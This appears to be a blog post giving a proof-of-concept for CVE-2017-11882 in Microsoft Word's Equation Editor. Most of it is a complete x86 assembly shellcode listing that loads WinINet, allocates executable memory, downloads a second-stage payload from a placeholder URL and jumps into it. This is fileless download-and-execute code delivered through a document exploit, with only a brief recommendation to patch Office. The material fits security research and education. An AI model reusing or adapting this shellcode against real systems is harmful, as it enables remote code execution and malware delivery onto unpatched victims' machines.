10 months ago

Introduction

In this POC we are going to demostrate how to perform a fileless code injection into EQNEDT32.EXE (Microsoft Word Equation Editor) .

We are going to use the unamer implementation (https://github.com/unamer/CVE-2017-11882 ) (605 bytes) to inject our shellcode into the vulnerable Microsoft Word component.

Idea

The idea is to use the WinINet functions to download a shellcode from internet, but directly into the memory of the process without using any intermediate file.

In this POC we have been able to perform this using these functions:

VirtualAlloc: To allocate memory in order to fill it directly with the downloaded shellcode
InternetOpenA: Initializes an application's use of the WinINet functions
InternetOpenUrlA: Opens a resource specified by a complete FTP or HTTP URL.
InternetReadFile: We will download the shellcode in 2000 bytes chunks directly into the allocated memory.

POC - Code

poc.asm
.Code

start:

init:

Mov Ebx, Ecx

jmp @_0   

WinINetStr: 
szWininet db 'wininet', 0

InternetOpenStr:
szWin3 db 'InternetOpenA', 0

InternetOpenAddr:
dwInternetOpen dd 0

InternetOpenUrlStr:
szInternetOpenUrlStr db 'InternetOpenUrlA', 0

InternetOpenUrlAddr:
dwInternetOpenUrl dd 0

InternetReadFileStr:
szInternetReadFile db 'InternetReadFile', 0

InternetReadFileAddr:
dwInternetReadFile dd 0

URLOpen:
szURL db 'http://[domain/file]', 0
UserAgent:
szUserAgent db 'CVE-2017-11882 - Word Exploit - User Agent', 0

BytesRead:
dwBytesRead dd 0

@_0:

; ecx = start address
mov edi, 4668A4h ; LoadLibraryA

; call LoadLibrary("wininet") without .dll 
lea edx, [ebx+(WinINetStr - init)]
push edx  
call DWord Ptr [Edi] ; call LoadLibrary

push eax ; Save WinInitHandle in the stack

; Call GetProcAddress looking for "InternetOpen"
lea edx, [ebx+(InternetOpenStr - init)]
push edx             ; "InternetOpen"
push eax             ; WinInitHandle
sub edi, 14h         ; GetProcAddress
call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenAddr
mov [ebx+(InternetOpenAddr-init)], eax

Pop Eax  ; Recover WinInitHandle
Push Eax ; Save WinInitHandle

; Call to GetProcAddres looking for "InternetOpenUrl"
lea edx, [ebx+(InternetOpenUrlStr - init)]
push edx             ; "InternetOpenUrl"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenUrlAddr
mov [ebx+(InternetOpenUrlAddr-init)], eax

Pop Eax ; Recover WinInitHandle

; Call to GetProcAddress looking for "InternetReadFile"
;mov eax, [ebx+(WinInitHandle - init)]
lea edx, [ebx+(InternetReadFileStr - init)]
push edx             ; "InternetReadFile"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetReadFileAddr
mov [ebx+(InternetReadFileAddr-init)], eax

; Clean esi
xor esi, esi

; Call to VirtualAlloc
push 40h             ; PAGE_EXECUTE_READWRITE
push 3000h           ; 0x1000 (MEMCOMMIT) and 0x2000 (MEMRESERVE)
push 19000h          ; size
push esi             ; lpAddress
mov edi, 4667D8h     ; VirtualAllocAddr
Call DWord Ptr [Edi] ; Call VirtualAlloc

Push Eax ; Save eax (Memory allocated Start Address) from VirtualAlloc into Stack

; Call to InternetOpenAddr
lea edx, [ebx+(UserAgent - init)] ; UserAgent
push esi ; NULL
push esi ; NULL
push esi ; NULL
push esi ; NULL
push edx ; UserAgent
mov edi, [ebx+(InternetOpenAddr - init)]
call edi ; Call to InternetOpenAddr

; Call to InternetOpenUrl
lea edx, [ebx+(URLOpen - init)]
push esi ; NULL
push INTERNET_FLAG_EXISTING_CONNECT
push esi ; NULL
push esi ; NULL
push edx ; URL
push eax ; InternetOpenHandle
mov edi, [ebx+(InternetOpenUrlAddr - init)]
call edi ; Call to InternetOpenUrl

Mov Edi, [Ebx + (InternetReadFileAddr - init)]
Pop Edx  ; Start Address memory alloc
Lea Esi, [Ebx + (BytesRead - init)]

Push Edx ; Save Start Address of memory allocated

ReadFileInit:

Push Edx ; Save Start Address of memory allocated (Buffer)
Push Eax ; Save Handle of InternetOpenUrl

push esi  ; Pointer to a variable that receives the number of bytes readed
Push 2000 ; Size Number of bytes to be read
push edx  ; Buffer
push eax  ; InternetOpenUrlHandle
Call Edi

Pop Eax ; Recover Handle of InternetOpenUrl
Pop Edx ; Recover Start Address of memory allocated (Buffer)
Add Edx, [Esi] ; Modifies buffer 

cmp DWord Ptr [Esi], 2000
jz ReadFileInit

Pop Edx ; Recover Start Address of the allocated memory 
Jmp Edx ; Jump into the fileless code 

; To know the size of the shellcode
_critical:

Mov Eax, (_critical - init)

End start


Conclusion

As we have demostrated in this POC, is possible to perform a fileless code injection.

We recomend everyone to UPDATE Microsoft Office in order to be protected against this vulnerability.

Acknowledgment

Embedy Company (https://github.com/embedi/CVE-2017-11882)
unamer (https://github.com/unamer/CVE-2017-11882)
@ValthekOn (https://29wspy.ru/reversing/CVE-2017-11882.pdf)
@D00RT_RM

Author: @51ddh4r7h4

← Dridex AtomBombing in detail Analyzing a packer that uses Windows messages →